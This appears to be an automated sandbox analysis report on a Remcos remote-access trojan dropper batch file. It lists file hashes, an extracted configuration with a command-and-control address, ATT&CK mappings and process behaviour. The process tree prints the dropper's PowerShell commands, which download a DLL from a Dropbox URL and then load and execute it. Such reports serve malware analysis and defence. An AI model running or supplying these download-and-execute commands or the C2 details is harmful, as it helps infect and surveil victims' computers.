remcos | e8aeb5c36fdf6931d14ac8b8b51ba4f1da459bf8481a2657c73d52a0a3bf62f4

General

Target

test - Kopie.bat
Size

658B
MD5

4a05279e903f0365d0ccc4908662ddda
SHA1

7826242544d70e9626910a303cff42e0cade2ae6
SHA256

e8aeb5c36fdf6931d14ac8b8b51ba4f1da459bf8481a2657c73d52a0a3bf62f4
SHA512

e249db02052cfac12f6eb6a4ec0e1fb80899ae7294993aeecb3f5fad0238ba1ffd274307de236a59611290a372fe4038b7d1b23deb91e30b706b57d753a20925

Score

10^/10

remcos remotehost execution rat

Malware Config

Extracted

Family

remcos

Botnet

RemoteHost

C2

23.ip.gl.ply.gg:24321

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
Rmc.exe
copy_folder
RootRmc
delete_file
true
hide_file
true
hide_keylog_file
false
install_flag
true
install_path
%SystemDrive%
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-M1WJOM
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	2796	powershell.exe
3	2796	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1140	powershell.exe
2796	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2796	powershell.exe
2796	powershell.exe
1140	powershell.exe
1140	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	1140	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3696 wrote to memory of 2796	3696	cmd.exe	78
PID 3696 wrote to memory of 2796	3696	cmd.exe	78
PID 3696 wrote to memory of 1140	3696	cmd.exe	79
PID 3696 wrote to memory of 1140	3696	cmd.exe	79

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test - Kopie.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/ced931yp7ygkbsx3fibr1/test.dll?rlkey=23mh4gtrl35mfqlt6suof5w8d&st=evzmjztv&dl=1' -OutFile 'test.dll'"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Add-Type -Path 'test.dll'; [TestClass]::Execute()"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1140

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
5f4c933102a824f41e258078e34165a7

SHA1
d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee

SHA256
d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2

SHA512
a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b94a5f9c019b614942fc29d049e77006

SHA1
7d22a700e14c52c6ded2a26cc063057b779d5c2e

SHA256
ac01c39f1027c82f8d739b7a15c8fc17875bf33f3069f9acf0eb4a0d3b8803d7

SHA512
301825dd58920d02a28650c9bd9a43d36d5d896fa72b79b49792a868f2df4d419dd6fdfe245f544f8becaff9585e63050fe2e6979dbc35a592017423a392633e

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zzqmjgrf.5zf.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\Users\Admin\AppData\Local\Temp\test.dll

Filesize
465KB

MD5
c52987ac16d800661b0673db0e88e040

SHA1
8887a9096dd5baa81fc841fd4066978aabc66d66

SHA256
00f66290090abad9e0c8a98e659723a29ad621862a54ff7b67dc326b4cf74ae6

SHA512
5431218a44e0a26337b6ad78f4cf225c735a104751a542cb7d882e69ba711b3001d855199c7b91d6113eca2095257daacbb642cf1e84fa1c11e913f5d401782d

Download Submit
memory/1140-19-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/1140-33-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/1140-30-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/1140-20-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

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memory/1140-18-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/2796-10-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/2796-16-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/2796-12-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/2796-11-0x00007FFE74F70000-0x00007FFE75A32000-memory.dmp

Filesize
10.8MB

Download
memory/2796-0-0x00007FFE74F73000-0x00007FFE74F75000-memory.dmp

Filesize
8KB

Download
memory/2796-9-0x000001B22E930000-0x000001B22E952000-memory.dmp

Filesize
136KB

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Analysis

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